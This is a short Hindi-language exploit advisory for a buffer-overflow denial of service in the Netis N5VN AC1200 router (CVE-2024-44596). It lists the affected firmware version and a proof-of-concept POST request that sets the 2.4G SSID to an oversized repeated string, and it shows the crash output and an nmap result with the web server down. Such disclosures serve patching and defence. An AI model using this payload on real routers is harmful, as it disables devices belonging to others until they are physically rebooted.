Netis-N5VN-AC1200-DOS

एक्सप्लॉइट शीर्षक: Netis N5VN AC1200 - बफर ओवरफ्लो DOS (सेवा अस्वीकार)

• दिनांक: 05/03/2024

• एक्सप्लॉइट लेखक: Van Lam Nguyen

• फेसबुक: fb.com/vanlam1412

• विक्रेता होमपेज: Netis Systems

• संस्करण: Netis N5VN AC1200 V1.0.1.1742

• परीक्षण: Windows पर किया गया

• CVE : CVE-2024-44596

अवलोकन

• Netis N5VN AC1200 राउटर में एक बफर ओवरफ्लो भेद्यता मौजूद है जो एक हमलावर को एक विशेष रूप से तैयार अनुरोध भेजकर राउटर पर चल रहे वेब सर्वर को क्रैश करने की अनुमति दे सकती है

• http (वेबसर्वर) को वापस लाने के लिए, उपयोगकर्ता को राउटर को भौतिक रूप से रिबूट करना होगा।

प्रमाण की अवधारणा (Python का उपयोग करें)

• ssid वायरलेस 2.4G बदलने के लिए POST अनुरोध ('ssid': 'QQ==' * 5000)

• सफलतापूर्वक: ('Connection aborted.', ConnectionResetError(10054, 'An existing connection was forcibly closed by the remote host', None, 10054, None))

• nmap 192.168.1.254 -p 80 80/tcp closed http

वीडियो प्रदर्शन यहाँ देखें